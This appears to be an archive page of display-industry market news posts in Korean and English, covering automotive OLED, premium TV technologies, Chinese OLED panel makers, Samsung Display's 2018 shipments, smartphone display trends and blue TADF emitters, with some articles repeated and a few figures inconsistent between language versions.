스마트카의 룸미러와 사이드 미러는 OLED로 바뀐다

일본전자전 CEATEC2018이 지난주 마쿠하리메세에서 개최되었다. IoT와 첨단 센스 기술을 중심으로 다양한 일본 기업들이 제품을 전시하였다. 일본의 전자 산업이 대형 하드웨어에서 점점 소형 첨단 부품 산업과 소프트웨어 산업으로 변화하고 있는 것이 감지되었다.

이번 전시회에는 자율주행이 가능한 스마트카의 핵심 기술도 소개되었다. 쿄세라는 자동차의 안전을 강화하기 위해 첨단 센싱 기술과 화상 처리 기술로서 사각 지대에서 발생할 수 있는 각종 사고를 미리 예상하고 방지할 수 있는 cockpit 기술을 소개하였다.

 

또한 자동차용 디스플레이 사업에서는 클러스터와 CID, 룸미러 디스플레이, 사이드뷰 디스플레이가 탑재된 첨단 컨셉카를 전시하였다.

쿄세라 관계자에 의하면 이 컨셉카의 디스플레이는 모두 LCD를 사용하고 있지만 외부 환경을 보여주는 룸미러 디스플레이와 사이드뷰 디스플레이는 LCD는 한계가 있어 OLED로 전환되어야 할 것이라고 언급하였다.

고속주행중에 빠르게 바뀌는 외부를 보여주는 룸미러 디스플레이와 사이드뷰 디스플레이에 LCD가 사용되면 응답속도가 늦어 주위 차들의 위치가 실제 위치 보다 뒤에 있는 것으로 표현할 수 있어 운전자가 차선을 변경할 때 사고가 발생할 수 있다. 특히 야간에는 명암비가 낮은 LCD는 외부 사물을 정확히 나타낼 수 없음을 인정하였다.

OLED는 고속 응답과 높은 명암비를 가지고 있어 미래 자동차의 룸미러와 사이드뷰 미러 시장을완전히 장악하게 될 것으로 예상된다.

지동차용 OLED 디스플레이 황금 시장이 다가온다

커넥티드 카의 디스플레이는 다양한 정보로서 편의성을 제공하기 위해 점점 커지고 있다. 일반적인 자동차에 사용되는 디스플레이는 클러스터와 CID(center information display), RSE(rear seat entertainment), RMD(room mirror display)가 있다. 커텍티드 카에는 센터페시아의 각종 버튼이 디스플레이가 되고 사이드미러 대신 카메라를 사용하여 디스플레이를 문에 부착하게 된다. 내년부터 출시되는 아우디의 전기자동차 e-tron에는 사이드뷰 디스플레이를 사용한다.

유비리서치 이충훈대표에 의하면 자동차 업체들이 OLED를 디스플레이로 사용하기 위해 적극적으로 OLED 업체들에게 구애를 하고 있는 이유는 디자인과 시인성, 두께 등의 다양한 부분에서 OLED만이 해결해 줄 수 있기 때문이라고 언급했다.

사이드뷰 카메라는 도어에 부착되기 때문에 운전자의 시선에서는 시야각이 매우 좋아야 한다. 특히 야간주행에서는 블랙이 정확하게 디스플레이에 표현되어야지 사물의 형태가 선명해진다. 또한 빠른 속도로 주행중인 자동차의 미러에는 속도에 따라 화면이 빠르게 변하기 때문에 응답속도가 빠른 OLED가 반드시 사용되어야 한다. 기온이 낮은 겨울에는 응답속도가 늦은 LCD는 사용이 불가능하다.

또한 운전자 편의성을 극대화시켜주는 콕핏(cockpit) 디스플레이를 대쉬보드에 장착하기 위해서는 플렉시블 OLED가 반드시 사용되어야 한다.

<벤츠 F015 cockpit display와 아우디 e-tron side view display>

아우디는 올해 처음으로 AMOLED를 뒷자석 리모트용 디스플레이로 사용하여 OLED의 새로운 응용 시장을 개척했다. 아우디는 모두 삼성디스플레이가 만드는 rigid OLED를 사용한다.

이에 비해 TV용 OLED 시장에서 최강자인 LG디스플레이는 RGB OLED를 2층 적층한 플렉시블 OLED로서 클러스터용 디스플레이와 CID용 시장을 노리고 있다. 자동차용 디스플레이 공급업체로서 점유율 2위인 Visteon은 LG디스플레이의 pOLED로서 클러스터 시장을 준비하고 있다. 12.3인치 pOLED는 LTPS 기판으로 만들어지며 스마트폰용 OLED 보다 OLED 공정이 복잡하기 때문에 모듈을 포함한 패널 가격은 55인치 WRGB OLED와 대등한 가격이 될 전망이어서 수량이 적어도 초고가의 프리미엄 시장을 창출할 수 있다.

<Visteon, 12.3인치 pOLED>

유비리서치가 발간한 “자동차용 OLED 디스플레이 보고서”에 의하면 삼성디스플레이와 LG디스플레이가 이끄는 자동차용 OLED 디스플레이 시장은 2023년에는 5.4억달러 시장으로 성장할 전망이다.

프리미엄 TV존 OLED TV와 Micro LED?

2분기 실적 갱신을 하며 OLED TV 덕을 톡톡히 보고 있는 LG전자에 비해 삼성전자는 최근 프리미엄 TV 시장에서 고군 분투하고 있다. 마케팅을 앞세워 QD-LCD로 프리미엄 TV 시장에서 대응해 오다 점차 그 힘을 잃고 있는 것으로 보인다. 2017년부터 IFA, CES등 가전 전시회에서 QLED TV 개발 발표, 프라이빗 부스 전시 등 새로운 시도를 하고 있지만 개발이 더딘 와중 삼성전자의 Micro LED 상용화의 공식 발표로 향후 프리미엄 TV 시장의 구도에 대한 관심이 뜨겁다.
2018 CES와 2018 IFA에서 대중에 공개한 삼성전자의 Micro LED (Mini LED) TV “The Wall”은 상당 수준 발전한 Micro LED 기술을 보여주고 있으며 이에 따라 대만의 관련 업체 들의 주가도 높아지고 있다. 이런 흐름에 대응하는 차원에서 2018 IFA에서 LG전자도 173인치의 Micro LED TV를 전시한 것으로 보인다.

넓은 시야각, 완벽한 블랙의 표현, 빠른 응답 속도 등이 OLED TV의 장점으로 언급되며 프리미엄 TV 시장을 점유해 가고 있다. 산업에서는 아직까지는 Micro 수준이라고 할 수 없는 픽셀을 더 줄이고 가격을 경쟁 가능한 수준으로 하락, 전사에서 오는 신뢰성을 극복하는 등의 한계점 들을 극복한다면 150인치 정도의 초대형 디스플레이 시장을 형성할 수 있을 것으로 예상하고 있다. 이론적으로 Micro LED는 OLED 와 같이 RGB가 스스로 빛을 내는 자발광 디스플레이이며, 작은 부피와 높은 명암비, 사이즈를 줄임으로서 단위 면적당 더 많은 화소수를 넣을 수 있어 고해상도 구현에 유리하다. 또한, 초소형 픽셀사이즈로 구부러지는 디스플레이 구현도 가능한 것으로 알려져 있다.
하지만 여전히 가정용 TV로 생산하기에 Micro LED 는 제조 비용의 문제와 발열등 극복해야될 한계점을 가지고 있어 본격적인 상용화 까지는 시일이 꽤 걸릴것으로 내다 보고 있다. 각종 전시회에서 지속적으로 발전된 제품을 공개하고 있는 만큼 산업의 기대도 큰 것으로 보인다. 또한 동시에 OLED TV 또한, CSO(Crystal Sound OLED) 등 다양한 각도로 진화하고 있어 앞으로의 프리미엄 TV 시장이 기대된다.

 

(사진: 삼성전자, The wall, 2018 IFA, 출처: 유비리서치)

 

IFA 2018 TV 전시 동향

2018 8 30일부터 9 5일까지 베를린에서 유럽 최대 가전 전시회인 IFA2018이 개최되었다. IFA2018에서 전시된 TVOLED TV를 비롯하여 LCD TV micro LED TV, laser TV 4종류가 있었으며, 전시 참가 업체는 삼성전자, LG전자, 소니, 파나소닉, 샤프, 도시바, TCL, 하이센스, 창홍, 필립스, 베스텔, 메츠, 그룬딕, 레베 등이 있었다.

유비리서치는 IFA2018에 전시된 전세계 주요 TV 업체들의 전시 제품을 조사하여 OLED TV를 중심으로 전시 동향 분석 보고서를 출간하였다.

본 보고서에 따르면 IFA2018에서 TV 전시 주요 특징은 75인치 LCD TV 부상과 8K TV, micro LEDTV 세가지로 요약되었다.

첫째 LCD TV75인치가 중점적으로 부각된 이유는 65인치 LCD TV 가격 하락으로 2,000달러 이상의 프리미엄 TV시장에서 수익을 내기 위해서는 75인치 이상의 LCD TV가 필요해졌기 때문이다. 삼성전자 부스에서는 75인치가 65인치에 비해 차이가 별로 나지 않음을 홍보하였다.

두번째 특징은 8K TV이다. 이전 전시회까지는 샤프만이 8K LCD TV를 전시하여 왔으나 IFA2018에서 삼성전자가 8K LCD TV (QLED TV)를 처음으로 전시하며 많은 관람객을 끌었다. 88인치 8K OLED TV도 처음으로 LG전자 전시장에서 공개되었다. 완벽한 블랙과 OLED만의 생동감 있는 화면에 8K 고해상도가 겹쳐 가장 현실감이 있는 TV로 인정받았다. 8K LCD TV는 삼성전자와 샤프 이외에도 베스텔에서도 전시되었다.

<삼성전자 8K QLED TV>

<LG전자 88인치 8K OLED TV>

<베스텔 75인치 8K LCD TV>

 

세번째는 올해의 화두로 떠오른 micro LED TV. CES2018에 처음으로 삼성전자가 공개한 micro LED TV 100인치 이상 크기의 초대형 TV와 퍼블릭 시장을 만들수 있는 제품으로 인지되고 있다, 이 시장에 LG전자도 가세하기 위해 IFA2018 173인치 4K micro LED TV를 출품하였다.

 

[IFA2019] 소니 4K OLED TV 브라비아 마스터 시리즈 AF9 공개

소니가 IFA2019에서 공개한 AF9 시리즈 OLED TV는 차세대 고화질 프로세스 X1 Ultimate로서 약 2배의 리얼타임 화상처리 능력을 실현하여 현실 세계에 가까운 깊은 검정색과 밝은 흰색 표현이 가능하도록 했다.

음향 처리부분에서는 acoustic surface audio+ 기술로서 본체 후면 좌우의 actuator에 더하여 가운데에도 actuator를 설치하였다. 여기에 배면 스탠드에 서브 우퍼를 좌우 설치하여 3.2 채널 98W의 임장감을 표현하는 고화질 사운드를 완성하였다.

9월부터 유럽에 판매 예정이며 65인치 가격은 3,999 유로, 55인치는 2,999유로이다.

일본에서 OLED TV를 판매하고 있는 회사는 엘지전자와 소니, 파나소닉, 토시바 4개사이다. 이들 회사들에서 OLED TV 가격이 가장 높은 회사는 소니이지만 판매량은 가장 높은 것으로 알려져 있다.

소니의 일본애 시장뿐만 아니라 해외 시장에서도 높은 브랜드 인지도를 바탕으로 OLED TV 사업을 확충할 예정이다. 내년에는 8K OLED TV 판매도 계획하고 있다.

2018 imid_ 투명디스플레이와 자동차용 디스플레이 전시를 통한 신규 사업 방향 제시

2018 8월 부산에서 개최된 imid는 점점 전시의 규모를 키워가고 있음을 보여주었다. 대한민국 디스플레이 산업을 이끄는 삼성디스플레이와 엘지디스플레이는 모두 투명 디스플레이를 전시하였다. 엘지디스플레이는 77인치 탑에미션 방식의 투과율40% 투명 디스플레이와 55인치 FHD OLED 패널 3장을 이어 붙인 비디오 월을 전시하였다. 비디오 월은 베젤이 3.5mm 에 불과하며 이 외에도 VR OLED 패널을 전시 지속적인 개발을 통해 성능이 향상되고 있음을 보여주었다.

삼성디스플레이 역시도 투명 디스플레이를 전시하였는데, 엘지디스플레이가 대형 OLED 산업을 이끈다면 삼성디스플레이는 중소형 OLED 산업을 이끄는 위치에 있음을 대변 하듯, 자동차용 사이즈의 투명 디스플레이를 전시하였다. 투명 OLED 디스플레이 사용을 통해 HUD 디자인 발전 가능성을 시사하였으며 이 외에도 다양한 자동차용 플렉서블 OLED 디스플레이를 전시하였다. 이를 통해 삼성디스플레이가 본격적으로 자동차용 OLED 패널 사업을 하고자 하는 의지를 엿볼 수 있었다. 또한 616ppi3.5인치 OLED패널을 사용한 VR1200ppi2.43인치 OLED 패널을 사용한 VR 을 전시하였다.

두 패널 회사들 외에도 머크, 희성소재를 비롯한 다양한 재료와 장비 업체에서도 학회 전시 참여를 통해 학계와 산업에 기여함과 동시에 사업을 소개하는 장소로 활용하고 있었다. 세계 최고의 OLED 산업리서치 업체인 유비리서치도 이번 기회를 통해 2018년 새롭게 구성한 Market Track등의 보고서를 소개하고 있다.

8K OLED TV, 하반기에 볼 수 있을까?

 

프리미엄 TV시장 경쟁이 더욱 치열해질 전망이다. Sony의 OLED TV 시장 진입과 LG전자의 공격적인 가격 인하로 프리미엄 TV 시장에서 OLED TV의 점유율이 상승곡선을 그리고 있다. 하지만 LCD진영에서는 8K 고해상도 전략으로 대응하고 있는 추세로 프리미엄 TV시장에서 OLED의 상승세를 저지할 수 있을지 관심이 집중되고 있다.

샤프는 이미 지난해부터 8K LCD TV를 세계 최초로 판매하기 시작하였고, 삼성전자도 올 초 CES에서 8K TV를 전시한데 이어 올 하반기 8K QLED(QD-LCD) 제품을 출시할 예정이다. OLED 진영에서는 LG Display가 CES에서 88inch 8K OLED TV를 전시했지만 8K OLED TV의 하반기 출시 여부는 아직 미지수이다.

현재 양산되고 있는 OLED TV는 bottom emission 방식으로 빛이 TFT를 통과해서 나오기 때문에 pixel에서 TFT영역을 제외한 나머지 부분에서 빛이 나오는 방식이다. 따라서 동일 크기의 TV에서 해상도가 높아질수록 pixel size는 작아지지만 TFT의 크기가 작아지는 부분은 제약이 있기 때문에 빛이 나가는 영역이 더 좁아지게 된다. 따라서 동일 사이즈에서 고해상도 구현을 위해서는 개구율을 최대한 넓히거나 발광재료의 성능을 개선해야 된다.

개구율을 넓히는 방법으로는 top emission 구조를 적용하는 방법이 있다. Top emission구조는 빛이 TFT 방향이 아닌 encapsulation 방향으로 나오기 때문에 bottom emission 대비 더 넓은 개구율을 확보할 수 있다. 하지만 현재 불투명한 metal sheet를 사용하는 encapsulation이 투명한 소재로 바뀌어야 되는 점과 color filter가 encapsulation 위쪽으로 형성되어야 하며 공정이 바뀌는 문제가 있다.

발광재료 쪽에서는 TADF blue나 새로운 blue 재료에 대한 개발이 적극적으로 진행되고 있는 중이다.

LG Display에서 공개한 88inch 8K OLED TV는 bottom emission 구조로 만들어 졌으며 약 100 ppi로 현재 판매되고 있는 55inch 4K의 ppi인 80ppi 보다 20% 높은 수치이다. 단순 전체 display size 대비 pixel size를 비교해보면 55 inch 4K의 pixel이 88inch 8k의 pixel보다 약 40% 넓은 것으로 계산된다.

즉 55inch 4K와 동일 수준의 휘도와 수명을 확보하기 위해서는 TFT 설계를 최적화하고 발광재료 성능을 향상시켜 pixel 크기가 40% 감소한 부분을 만회해야 한다.

이러한 문제를 해결하고 하반기에 출시 본격화가 예상되는 8K LCD TV에 맞서 8K OLED TV가 출시 될 수 있을지 업계의 관심이 주목되고 있다.

 

 

The second half of 2018 just started, Chinese OLED panel makers are chasing Korea. Where are they?


작성자: 오하나 (Analyst, hanaoh@ubiresearch.com)
The display industry has been in a state of confusion by the recent leaking of OLED display panel production technology into China.

As of 2018, five companies (BOE, Everdisplay, Tianma, Truly, and Visionox) have OLED production lines in China, among which only BOE has a line that can produce OLED displays (“Plastic OLED”) using plastic substrates, applied to the premium smart phones such as Samsung Galaxy and Apple’s iPhone. Other panel makers are building lines to produce plastic OLED displays targeting mass production this year and next year.

Monthly production capacity planned by Chinese panel makers by the end of 2020 is about 250K, which is more than the monthly production capacity of Samsung Display (about 180K). If China produces a similar level of panels through mass production, it is clear that Korea cannot defeat China in terms of production costs. The main application of the 6G plastic OLED display is a smart phone; however, the global Smartphone market has slowed down since 2015, especially in the premium Smartphone market, there seem no new markets. If mass applications such as smartphones are not developed, panel makers that do not have cost competitiveness will be hard to survive due to a large oversupply in the near-term and falling panel prices.

Korea is evaluated to have a considerable technical advantage since the production of plastic OLED displays requires a high level of technology and process know-how for the time. However, the industry expects that Chinese government’s support for the panel makers with the background of capital as part of the “China Manufacturing 2025” strategy, will shorten the technology gap quickly.

Chinese panel makers ahead of their mass production by 2019 are also reported to be more aggressively scouting Korea’s major OLED engineers. There are about 100 Korean OLED engineers in Chengdu (B7) plant that produces plastic OLED display of BOE. GVO is also known to have recently hired some important OLED engineers with high salaries. CSOT, which has been known to suffer difficulties from the initial research stage, seems to be expediting the construction of mobile OLED production line, employing Korean OLED engineers at major processes from last year. In addition, HKC, which is not a panel maker, is reported to have hired OLED engineers. This is interpreted as a work for investing in the OLED production line of HKC which has only LCD line, and HKC has recently been named as the merger of TIANMA OLED division.
As of 2018, there are no panel makers in China that can produce OLED display panels at the level produced by Korean panel makers. Although the production capacity and sales structure of Chinese panel makers are different from those of Korea, it is difficult to define yields on the same basis. However, the yield of BOE’s Chengdu (B7) plant, known as the mass production line, is still investigated as a single digit. Other panel makers also expect the product quality and yield problems to be difficult to be resolved by the first half of 2019 even if the mass production lines are launched within the year.

In order for the display industry, which contributes significantly to the Korean economy, to maintain its dominant position in the global display industry, it must maintain its competitiveness through various product development, production and sales strategies. Meanwhile, the size of the display industry needs to grow for the growth of the worldwide OLED industry. In order for Chinese panel makers to supply OLED panels with diverse applications, securing the yield might be the key.

2018년 2H 시작, 중국 OLED 패널 업체들의 추격어디까지?

최근 중국으로의 OLED 디스플레이 패널 생산기술 유출 사건과 관련하여 디스플레이 산업이 시끌시끌하다.

2018년 현재, 중국내 OLED 생산라인을 보유하고 있는 업체는 총 5업체로 (BOE, Everdisplay, Tianma, Turly, Visionox) 이중 삼성전자의 Galaxy와 Apple의 iPhone등 프리미엄 스마트폰에 사용되는 플라스틱 기판을 사용하는 OLED 디스플레이(“Plastic OLED”)를 생산할 수 있는 라인을 가지고 있는 곳은 BOE 한 곳에 불과하다. 다른 패널 업체들은 올해와 내년 양산을 타겟으로 Plastic OLED 디스플레이를 생산할 수 있는 라인 건설을 진행하고 있다.

2020년 말까지 중국 패널 업체들이 양산을 계획하고 있는 월 생산 Capa는 약 250K로, 현재 삼성디스플레이의 월 생산 Capa(약 180K)를 넘어서는 수준이다. 중국이 본격적인 양산을 통해 비슷한 수준의 패널을 생산하게 될 경우 생산 원가 측면에서 한국은 중국을 이길 수 없는 구조임은 분명해 보인다. 6세대 Plastic OLED 디스플레이의 주 사용 어플리케이션이 스마트폰인데 전세계 스마트폰 시장은 2015년 이후 성장이 둔화되었으며 특히 프리미엄 스마트폰 시장은 신규시장이 거의 없는 상황이다. 스마트폰과 같은 매스 어플리케이션이 개발되지 않을 경우, 머지 않아 매우 큰 과잉공급과 이는 패널 가격의 하락으로 이어져 원가 경쟁력이 없는 패널 업체는 살아남기 힘들게 될 것이다.

일단은 Plastic OLED 디스플레이 생산은 높은 기술수준과 공정 노하우 등이 필요해 한국이 상당한 기술 우위에 있는 것으로 평가한다. 하지만 산업에서는 “중국제조 2025” 전략의 일환으로 자본을 앞세운 중국 정부의 패널업체 지원이 기술 격차를 빠른 시간안에 단축시킬 것으로 예상하고 있다.

2019년까지 양산을 앞두고 있는 중국 패널 업체들 역시 최근 더욱 적극적으로 한국의 주요 OLED 엔지니어 모셔가기를 하고 있는 것으로 알려지고 있다. BOE의 Plastic OLED 디스플레이를 생산하는 청두(B7) 공장에는 약 100여명에 가까운 한국 OLED 엔지니어가 있는 것으로 알려져 있으며 GVO도 최근 고액 연봉의 중요한 OLED 엔지니어들을 수명 고용한 것으로 파악되고 있다.  초기 연구개발 단계에서부터 어려움을 겪는 것으로 알려져 왔던 CSOT 역시 작년부터 주요 공정의 한국 OLED 엔지니어들을 고용 모바일 OLED 생산 라인 구축에 박차를 가하고 있는 것으로 보여진다. 이밖에 패널업체가 아닌 HKC 역시 OLED 엔지니어들 영입하고 있다고 조사되고 있으며 이는 LCD 라인 밖에 없는 HKC의 OLED 생산 라인 투자를 위한 밑 작업으로 해석되고 있으며 HKC는 최근 티안마 OLED 사업부 합병설에 이름을 올리기도 하였다.

2018년 현재를 기준으로 아직까지는 한국 패널 업체들이 생산하는 수준의 OLED 디스플레이 패널 양산이 가능한 중국의 패널 업체는 없다. 중국 패널 업체들의 생산능력 기준과 판매 구조는 대한민국과 달라 같은 기준으로 수율을 정의 하기는 어렵지만 양산라인이라고 알려져 있는 BOE의 청두(B7)공장의 수율은 여전히 1자리 숫자인 것으로 조사되고 있다. 다른 패널 업체들 역시 올해 안에 양산라인 가동을 한다고 해도 제품 품질과 수율문제는 2019년 상반기까지도 해결이 힘들것으로 예상하고 있다.

한국 경제에 상당부분 일조하는 디스플레이 산업이 지속적으로 전세계 디스플레이 산업에서 우위를 지키기 위해서는 다양한 제품 개발, 생산과 판매 전략을 통해 경쟁력을 유지해야 할 것이다. 또한 전세계 OLED 산업의 성장을 위해 디스플레이 산업의 규모가 커지고 많은 플레이어들이 다양한 어플리케이션에 OLED 패널을 공급하기 위해서는 중국 패널 업체들의 수율 확보가 관건일 것이다.

Samsung Display’s 1Q 2018 shipment declined, but it is expected to recover in 2Q.

According to UBI Research’s first quarter display market track, Samsung Display’s OLED shipments for smart phones dropped to 88 million units, down 26.0% from the previous quarter, and 4.7% year-on-year decrease.

On the other hand, the sales revenue was US$ 5.37 billion, down 32.4% from the previous quarter and 30.4% year-on- year increase.

<Samsung Display’s sales performance of OLED for Smartphone, 1Q, 2018>

For rigid OLED, the utilization rate of rigid OLED mass production lines dropped in 1Q due to the keeping adoption of LCD in Samsung Electronics’ entry-level model and the decline in demand from Chinese set makers. For flexible OLED, its capacity utilization rate also declined due to falling demand from Apple and sluggish sales of Galaxy S series .

UBI Research mentioned, “In the first quarter of 2018, the sales were sluggish due to falling demand of set makers; however, the full-screen rigid OLED demand began to increase in April, and accordingly the utilization rate of rigid OLED production lines began to rise gradually. From June, the utilization rate is expected to recover to the previous year level. Also, the flexible OLED mass production lines will be likely to be in full operation since Samsung Electronics will start mass production of the next model and Apple will start mass production of new models.”

The overall OLED market was totaled as US $ 6.12 billion in the first quarter of 2018, of which the OLED market for smart phones was 91.1% and the market of OLED for TV was 5.7%.

The OLED market for smartphones is projected to reach 4.4 billion units in 2018, and Samsung Display is expected to hold a market share of 93.4%.

<2018 OLED market forecast>

Samsung Display’s 1Q 2018 shipment declined, but it is expected to recover in 2Q.

According to UBI Research’s first quarter display market track, Samsung Display’s OLED shipments for smart phones dropped to 88 million units, down 26.0% from the previous quarter, and 4.7% year-on-year decrease.

On the other hand, the sales revenue was US$ 5.37 billion, down 32.4% from the previous quarter and 30.4% year-on- year increase.

<Samsung Display’s sales performance of OLED for Smartphone, 1Q, 2018>

For rigid OLED, the utilization rate of rigid OLED mass production lines dropped in 1Q due to the keeping adoption of LCD in Samsung Electronics’ entry-level model and the decline in demand from Chinese set makers. For flexible OLED, its capacity utilization rate also declined due to falling demand from Apple and sluggish sales of Galaxy S series .

UBI Research mentioned, “In the first quarter of 2018, the sales were sluggish due to falling demand of set makers; however, the full-screen rigid OLED demand began to increase in April, and accordingly the utilization rate of rigid OLED production lines began to rise gradually. From June, the utilization rate is expected to recover to the previous year level. Also, the flexible OLED mass production lines will be likely to be in full operation since Samsung Electronics will start mass production of the next model and Apple will start mass production of new models.”

The overall OLED market was totaled as US $ 6.12 billion in the first quarter of 2018, of which the OLED market for smart phones was 91.1% and the market of OLED for TV was 5.7%.

The OLED market for smartphones is projected to reach 4.4 billion units in 2018, and Samsung Display is expected to hold a market share of 93.4%.

<2018 OLED market forecast>

삼성디스플레이 1사분기 출하실적 하락, 2사분기 회복 전망

유비리서치의 1사분기 디스플레이 마켓트랙에 따르면 삼성디스플레이의 스마트폰용 OLED 출하량은 전분기 대비 26.0%, 전년대비 4.7% 감소한 8,800만개로 집계되었다.

반면 매출액은 전분기 대비 32.4% 감소, 전년대비 30.4% 증가한 53.7억 달러로 집계되었다.

<1사분기 삼성디스플레이 스마트폰용 OLED 실적>

Rigid OLED는 삼성전자의 보급형에 LCD 채택 유지와 중국 set업체의 수요감소로 rigid OLED 양산라인 가동률이 1사분기에 하락하였으며, flexible OLED도 Apple의 수요감소와 Galaxy S series의 실적 부진으로 가동률이 감소하였다.

유비리서치에 따르면 “1사분기는 set 업체들의 수요 감소로 실적이 저조하였지만, 4월부터 full screen rigid OLED 수요 증가로 rigid OLED 양산라인 가동률이 점차 상승하기 시작하였다. 6월부터는 전년수준으로 가동률이 회복될 것으로 예상된다. 또한 flexible OLED 양산라인에서도 삼성전자의 차기모델 조기 양산과 Apple의 신모델 양산이 시작되어 다시 풀가동을 할 수 있을 것으로 기대된다.” 라고 밝혔다.

OLED 전체 시장은 2018년 1사분기 61.2억 달러로 집계되었으며, 이중 스마트폰용 OLED 시장은 91.1% 대면적 OLED 시장은 5.7%로 집계되었다.

2018년 스마트폰용 OLED 시장 예상규모는 4.4억개로 전망되며 삼성디스플레이가 93.4%의 점유율을 차지할 것으로 전망된다.

<2018년도 업체별 스마트폰용 OLED 출하 점유율 전망>

[SID2018] Samsung display’s OLED technology, one step closer to full screen

At the SID2018 exhibition in Los Angeles, a new concept OLED with no front speakers on the Smartphone was introduced.

Samsung Display’s new “Sound on display” removes the speaker at the top of the smart phone. Instead, it has a piezo electric actuator on the back of the panel that can turn the electrical signal into vibration. This is the mechanism by which the actuator vibrates the OLED panel to produce sound. It is the same method as LG Display’s “Crystal sound OLED”.

When this technology is utilized, the speaker can be removed from the front of the smart phone, resulting in a wider display area. Following the trend that the home button is embedded in the display, OLED will continue to evolve in the direction that the speaker is also embedded in the display.

OLED smartphones launched in the first quarter of 2018 exceeded the average DA 80%

Analysis of OLED smartphones released in the first quarter of 2018 shows that the average display size of OLED smartphones and the display area (DA), which represents the size of the display compared to the size of the smartphone, have increased significantly.

In the first quarter of 2018, 13 OLED smartphones were launched from five major companies. Samsung Electronics released the largest number of OLED smartphones with 5 models and Vivo launched 3 models, Oppo 2 models, Elephone 2 models and Huawei 1 OLED smartphone respectively.

Of the 13 types of OLED smartphones launched during 1Q, 2018, 12 full screen OLED smartphones have been released with removing the home button on the screen. Among them, four smartphones adopted the notch design. In the first quarter of 2018, the smartphones with full-screen OLED, which had been adopted in order to expand the display size from the limited smartphone size from the second half of 2017, were launched in earnest.

<OLED smartphones released in the first quarter of 2018>

As the full screen OLED smartphones were released, the average size of display and DA also increased sharply.

The average display size of OLED smartphones launched in the first quarter of 2018 was 6.01 inch. This is 6.7% up from 2016 and 7.7% up from 2017. In addition, the display area (DA) is 81.6%, which is much larger than 71.6% in 2016 and 74.1% in 2017.

<Change in display size and DA by year>

Meanwhile, the average ppi of OLED smartphones released in 2018 was 422.9, which was 5.9% higher than in 2016, but similar to the average ppi of 422.2 in 2017. This is because the number of high-resolution OLED smartphones with a QHD level or higher have been released since 2017.

2018년 1분기에 출시 된 OLED 스마트폰의 평균 D.A 80% 돌파

2018년 1분기에 출시 된 OLED 스마트폰을 분석 한 결과, OLED 스마트폰의 디스플레이 평균 크기와 스마트폰 크기 대비 디스플레이 크기를 나타내는 D.A(display area)가 크게 증가한 것으로 나타났다.

2018년 1분기에 OLED 스마트폰은 5개의 주요 업체에서 총 13종이 출시된 것으로 조사되었다. Samsung Electronics가 5종으로 가장 많은 OLED 스마트폰을 출시하였으며, Vivo가 3종, Oppo가 2종, Elephone이 2종, Huawei가 1종의 OLED 스마트폰을 출시하였다.

출시 된 13종의 OLED 스마트폰 중 홈버튼이 제거 된 full screen OLED 스마트폰이 12종 출시 되었으며, 그 중 노치 디자인이 적용 된 스마트폰은 4종이 출시 되었다. 2017년 하반기부터 제한 된 스마트폰 크기에서 디스플레이 크기를 확장 시키기 위해 본격적으로 적용 된 full screen OLED 스마트폰이 2018년 1분기에 다수 출시 되었다.

<2018년 1분기에 출시 된 OLED 스마트폰>

Full screen OLED 스마트폰이 대거 출시 된 만큼 디스플레이의 평균 사이즈와 D.A도 크게 증가했다.

2018년 1분기 출시 된 OLED 스마트폰의 디스플레이 평균 사이즈는 6.01인치로 나타났다. 이는 2016년 대비 6.7% 증가한 수치이며, 2017년 대비 7.7% 증가한 수치다. 또한, D.A(display area)는 81.6%로 나타나며 2016년 71.6%, 2017년 74.1%보다 크게 증가한 수치를 보였다.

<연도별 디스플레이 크기와 D.A 변화>

한편, 2018년 출시 된 OLED 스마트폰의 디스플레이 평균 ppi는 422.9ppi로 나타나 2016년 대비 5.9% 증가하였지만, 2017년 평균 ppi인 422.2ppi와 비슷한 수치를 나타내었다. 이는 2017년부터 QHD급 이상의 고해상도 OLED 스마트폰이 다수 출시됨에 따라 상향 평준화 된 것으로 분석된다.

Blue TADF emitters getting ready for commercial production

Next week, the leading OLED players will meet in Seoul at the 4th OLED Korea Conference and discuss new technologies for next-generation displays. One of the most exciting new technologies is the TADF (Thermally Activated Delayed Fluorescence) technology and this topic will be not missing at this conference, which is hosted by UBI Research.

The TADF technology is receiving much attention as the main method for improving efficiency of blue emitting materials. High-efficiency blue OLEDs are currently missing on the market and the demand for this material is constantly growing year by year.

A high-efficiency TADF blue would enable display manufacturers to reduce the power consumption of the display. Thus, consumers would benefit from a longer battery life of their mobile devices and less energy consumption in large displays. Additionally, an efficient blue would enable to make smaller blue pixels to yield the same amount of light, which would pave the way again to increase the resolution and to offer a better picture quality. Both improvements could significantly increase consumer satisfaction. CYNORA, the current leader in TADF, has shown that its TADF blue material surpassed previous achievements of high-efficiency blue emitters. The latest performance of CYNORA’s materials is getting very close to the customer requirements and thereby also to the market entry barrier. An update of the status of CYNORA’s TADF emitters and their implementation into next-generation AMOLED displays will be shown by the CMO, Dr. Andreas Haldi, during his talk at the OLED Korea Conference. Dr. Haldi will present the newest OLED device results with a deep blue material and disclose some more details on how CYNORA is working very closely with the OLED manufacturers towards mass production.

This most challenging material, efficient blue, is on everybody’s radar as a better efficiency in the blue region is one of the main barriers to OLEDs improvement. But besides blue, TADF materials are also expected to reach the market requirements for green and red in the next couple of years. Thus, TADF can be used efficiently for all RGB pixels, which is something no other emitter technology was able to do so far.

상업적인 생산 준비중인 블루 TADF(열 활성 지연 형광물질) Emitter

다음 주, 주요 OLED 산업 관계자들은 서울에서 열리는 제 4 회 OLED Korea Conference에서 차세대 디스플레이 관련 새로운 기술에 대해 논의할 예정이다. 가장 흥미 있는 새로운 기술 중 하나는 TADF (열 활성 지연 형광) 기술이며, 이 주제는 UBI Research에서 주최하는 이번 컨퍼런스에서 놓치지않고 다루어 질 것이다.

TADF 기술은 청색 발광 물질의 효율을 개선하기위한 주요 방법으로서 많은 주목을 받고있다. 고효율 블루 OLED는 현재 시장에 나와 있지 않으며, 이 소재에 대한 수요는 매년 지속적으로 증가하고 있다.

고효율 TADF 블루는 디스플레이 제조업체가 디스플레이의 전력 소비를 줄일 수 있게 한다. 따라서 소비자는 휴대 기기의 배터리 수명을 연장하고 대형 디스플레이에서 에너지 소비를 절감할 수 있다.  또한 효율적인 블루를 사용하면 동일한 양의 빛을 산출 할 수 있는 보다 작은 블루 픽셀을 만들 수 있으므로 해상도를 높이고 화질을 향상시킬 수 있다.

